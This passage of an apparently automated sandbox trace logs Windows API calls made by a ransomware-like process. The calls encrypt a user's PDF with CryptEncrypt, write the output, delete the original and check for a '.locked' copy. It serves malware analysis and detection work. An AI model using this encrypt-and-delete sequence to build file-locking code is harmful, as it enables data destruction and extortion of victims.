[1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.608] ReadFile (in: hFile=0x874, lpBuffer=0x69604a4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x69604a4*, lpNumberOfBytesRead=0x99ae6cc*=0x13a04, lpOverlapped=0x0) returned 1 [0130.609] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69744b0*, pdwDataLen=0x99ae6c0*=0x13a00, dwBufLen=0x13a00 | out: pbData=0x69744b0*, pdwDataLen=0x99ae6c0*=0x13a00) returned 1 [0130.610] WriteFile (in: hFile=0x868, lpBuffer=0x695bc84*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x695bc84*, lpNumberOfBytesWritten=0x99ae6a4*=0x1000, lpOverlapped=0x0) returned 1 [0130.611] WriteFile (in: hFile=0x868, lpBuffer=0x697549c*, nNumberOfBytesToWrite=0x12a14, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x697549c*, lpNumberOfBytesWritten=0x99ae6a4*=0x12a14, lpOverlapped=0x0) returned 1 [0130.612] ReadFile (in: hFile=0x874, lpBuffer=0x69604a4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x69604a4*, lpNumberOfBytesRead=0x99ae6cc*=0x0, lpOverlapped=0x0) returned 1 [0130.612] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6987ed4*, pdwDataLen=0x99ae714*=0x10, dwBufLen=0x10 | out: pbData=0x6987ed4*, pdwDataLen=0x99ae714*=0x10) returned 1 [0130.612] CryptEncrypt (in: hKey=0x8e84a78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6987f08*, pdwDataLen=0x99ae71c*=0x0, dwBufLen=0x10 | out: pbData=0x6987f08*, pdwDataLen=0x99ae71c*=0x10) returned 1 [0130.612] WriteFile (in: hFile=0x868, lpBuffer=0x695bc84*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae6ec, lpOverlapped=0x0 | out: lpBuffer=0x695bc84*, lpNumberOfBytesWritten=0x99ae6ec*=0x10, lpOverlapped=0x0) returned 1 [0130.612] CloseHandle (hObject=0x868) returned 1 [0130.615] CloseHandle (hObject=0x874) returned 1 [0130.616] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", lpFilePart=0x0) returned 0x5c [0130.616] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.616] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.616] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.616] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.618] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\hsrjj2x8m w.pdf")) returned 0x20 [0130.619] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", nBufferLength=0x105, lpBuffer=0x99adec4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", lpFilePart=0x0) returned 0x5c [0130.619] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0130.619] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0130.619] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0130.619] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0130.619] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0130.619] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0130.620] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0130.620] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0130.620] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0130.620] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0130.620] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0130.620] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0130.620] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0130.620] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0130.620] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0130.620] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpFilePart=0x0) returned 0x1f [0130.620] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h")) returned 0x10 [0130.621] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h")) returned 0x10 [0130.621] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", lpFilePart=0x0) returned 0x31 [0130.621] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h", lpFilePart=0x0) returned 0x31 [0130.621] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb")) returned 0x10 [0130.621] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb")) returned 0x10 [0130.621] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB", lpFilePart=0x0) returned 0x38 [0130.621] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB", lpFilePart=0x0) returned 0x38 [0130.621] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt")) returned 0x10 [0130.621] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt")) returned 0x10 [0130.621] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt", lpFilePart=0x0) returned 0x4c [0130.622] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt", lpFilePart=0x0) returned 0x4c [0130.622] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\hsrjj2x8m w.pdf")) returned 0x20 [0130.622] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", nBufferLength=0x105, lpBuffer=0x99ade4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", lpFilePart=0x0) returned 0x5c [0130.622] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", lpFilePart=0x0) returned 0x5c [0130.622] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", nBufferLength=0x105, lpBuffer=0x99adf88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", lpFilePart=0x0) returned 0x5c [0130.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0130.623] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", nBufferLength=0x105, lpBuffer=0x99adf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", lpFilePart=0x0) returned 0x5c [0130.623] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf\\", lpFilePart=0x0) returned 0x5d [0130.623] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf\\*", lpFindFileData=0x99ae170 | out: lpFindFileData=0x99ae170) returned 0xffffffff [0130.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae40c) returned 1 [0130.623] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0130.623] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0130.623] CoTaskMemFree (pv=0x8ebb8c8) [0130.624] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\hsrjj2x8m w.pdf")) returned 0x20 [0130.624] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", nBufferLength=0x105, lpBuffer=0x99adf14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", lpFilePart=0x0) returned 0x5c [0130.624] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", nBufferLength=0x105, lpBuffer=0x99ade90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", lpFilePart=0x0) returned 0x5c [0130.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae36c) returned 1 [0130.625] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\hsrjj2x8m w.pdf"), fInfoLevelId=0x0, lpFileInformation=0x69a4a54 | out: lpFileInformation=0x69a4a54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90349b40, ftCreationTime.dwHighDateTime=0x1d4a0f7, ftLastAccessTime.dwLowDateTime=0xa7b578b0, ftLastAccessTime.dwHighDateTime=0x1d4a184, ftLastWriteTime.dwLowDateTime=0xa7b578b0, ftLastWriteTime.dwHighDateTime=0x1d4a184, nFileSizeHigh=0x0, nFileSizeLow=0x13a04)) returned 1 [0130.625] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae368) returned 1 [0130.625] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\hsrjj2x8m w.pdf")) returned 1 [0130.627] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.628] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="⼀ࣧ") returned 0x0 [0130.628] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.628] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.628] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.630] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\hsrjj2x8m w.pdf.locked")) returned 0x20 [0130.631] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\hsrjj2x8m w.pdf.locked")) returned 0x20 [0130.631] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf.locked", nBufferLength=0x105, lpBuffer=0x99adf7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf.locked", lpFilePart=0x0) returned 0x63 [0130.631] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf.locked", nBufferLength=0x105, lpBuffer=0x99adf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf.locked", lpFilePart=0x0) returned 0x63 [0130.631] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.632] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf", lpFilePart=0x0) returned 0x5c [0130.632] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.632] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.632] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1b, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.632] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.635] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.636] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.636] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.636] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.636] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.638] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.639] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.639] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, 